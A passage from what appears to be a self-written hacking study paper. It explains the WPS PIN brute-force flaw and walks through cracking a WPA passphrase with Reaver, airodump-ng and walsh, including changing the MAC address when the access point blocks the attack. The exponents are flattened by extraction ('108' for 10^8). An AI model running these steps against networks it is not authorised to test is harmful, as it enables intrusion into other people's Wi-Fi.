  1208. Attacking WPA Networks using Wi-Fi Protected Setup
  1209. Wi-Fi Protected is an optional certification program developed by the Wi-Fi Alliance
  1210. designed to ease set up of security-enabled Wi-Fi networks in home and small office
  1211. environment.
  1212. Wi-Fi Protected Setup supports methods (pushing a button or entering a PIN into a
  1213. wizard-type application) that are familiar to most consumers to configure a network and
  1214. enable security.
  1215. Reaver is an application that exploits WPS that I will use to cover this attack.
  1216. It implements a brute force attack against WPS entering PINs in order to recover
  1217. WPA/WPA2 passphrases.
  1218. The Pin is 8 digits long:
  1219. Doing the Math it would be 108
  1220. = (100 000 000) Pin combinations.
  1221. However an attacker can derive information about the correctness of parts the PIN from
  1222. the AP´s responses.
  1223. 1. If the attacker receives an EAP-NACK message after sending M4, he knows that
  1224. the 1st half of the PIN was incorrect.
  1225. 2. If the attacker receives an EAP-NACK message after sending M6, he knows that
  1226. the 2nd half of the PIN was incorrect.
  1227. This form of authentication dramatically decreases the maximum possible
  1228. authentication attempts needed from 108
  1229. = 100 000 000 to 104
  1230. + 104
  1231. = 20 000.
  1232. As the 8th digit of the PIN is always a checksum of digit one to digit seven, there are at
  1233. most 104
  1234. + 103
  1235. = 11 000 attempts needed to find the correct PIN.
  1236. Reaver has been designed to be a robust and practical attack against WPS, and has been
  1237. tested against a wide variety of access points and WPS implementations.
  1238. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-
  1239. 10 hours, depending on the AP. In practice, it will generally take half this time to guess
  1240. the correct WPS pin and recover the passphrase.
  1241. 57
  1242. Arciduca - Alphabay
  1243. Below there is a flowchart that explains the method used by the Bruteforce attack to the
  1244. WPS flaw:
  1245. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-
  1246. 10 hours, depending on the AP. In practice, it will generally take half this time to guess
  1247. the correct WPS pin and recover the passphrase.
  1248. I want to make it clear this will only work on networks with WPS enabled. Since the
  1249. Router I’ve been using doesn’t have WPS I will use a new one with the same
  1250. configurations (ESSID and Passphrase).
  1251. 58
  1252. Arciduca - Alphabay
  1253. But you don’t need to worry, I’ll cover how to check if an AP has WPS enabled or not.
  1254. First of all download Reaver. It doesn’t come with Backtrack so you have to install it,
  1255. even though it is easy to do it.
  1256. You can download Reaver at http://code.google.com/p/reaver-wps/downloads/list
  1257. After you download extract Reaver folder to your desktop or whatever other folder you
  1258. want.
  1259. By the way Reaver is only supported on the Linux platform, requires the libpcap and
  1260. libsqlite3 libraries.
  1261. After you extracted the folder, browse to it. Let’s do it like if I extracted to my Desktop
  1262. folder.
  1263. In the shell, browse to the following directory:
  1264. #cd /root/Desktop/reaver-1.3/src/
  1265. Within this directory you will find several files.
  1266. Let’s start the installation, run the following command:
  1267. # ./configure
  1268. If you get this error: “bash: ./configure: Permission denied”
  1269. Use the command:
  1270. #chmod +x configure
  1271. This will give execution permission to the file “configure”
  1272. Try again, this time you won’t have any problems.
  1273. # ./configure
  1274. Let it install, when it finishes use the following command:
  1275. # make
  1276. And then:
  1277. # make install
  1278. Ok, Reaver is installed.
  1279. Now we can have some fun with Reaver. Let’s start the attack.
  1280. The first thing to do is to put your Wireless card on monitor mode:
  1281. 59
  1282. Arciduca - Alphabay
  1283. #airmon-ng start wlan1
  1284. Then let’s sniff some beacon frames and save them in an output file:
  1285. #airodump-ng -w beacons mon0
  1286. Let airodump-ng run for a while, 1 minute is enough. Don’t forget to use -w option to
  1287. save the packets you’re getting in a file. What we want are Beacon frames, don’t worry
  1288. about data packets.
  1289. Then you will run the following command:
  1290. # walsh -C -f beacons-*.cap
  1291. Walsh will look at the cap files that airodump-ng created with the beacon frames and
  1292. will give you a list of the networks that have WPS enabled.
  1293. Then run:
  1294. #airodump-ng mon0
  1295. Check what channel is your target running
  1296. Now launch reaver:
  1297. 60
  1298. Arciduca - Alphabay
  1299. #reaver -i mon0 -b 00:24:17:DB:BF:F6 -c 1 –vv
  1300. -vv enables verbose mode, and you can see the progress and the warnings.
  1301. -b is the bssid of the target network
  1302. -c the channel that the network is broadcasting on
  1303. 61
  1304. Arciduca - Alphabay
  1305. You can use aircrack’s fake authentication while running reaver, it’s up to you.
  1306. If you start getting blocked by the AP use macchanger command to change your mac
  1307. and start again.
  1308. After some hours running Reaver, you will get to the passphrase.
  1309. As you can see, we got the passphrase which in this case was “security”.
  1310. In this particular situation WPA is cracked even if you
  1311. have a good password. Although by disabling WPS on
  1312. your Router you will annul this flaw.
  1313. 62
  1314. Arciduca - Alphabay
  1315. Conclusions
  1316. When I started this Independent Study I had a rough idea of what I wanted to
  1317. research/learn about and it was a very rewarding experience. I’ve learned more than I
  1318. was expecting and I really enjoyed the time I took learning and practicing.
  1319. I read books, websites watched videos from which I guided myself but still, I thought
  1320. about writing my own paper as a second method of study.
  1321. I took the leap after I found a paper like this one and I really wanted as retribution to
  1322. write a paper of mine, so other that are in the same situation that I was some months ago
  1323. could learn with a simple and pleasant reading since I wrote this paper as I was learning
  1324. from zero.
  1325. 63

comments powered by Disqus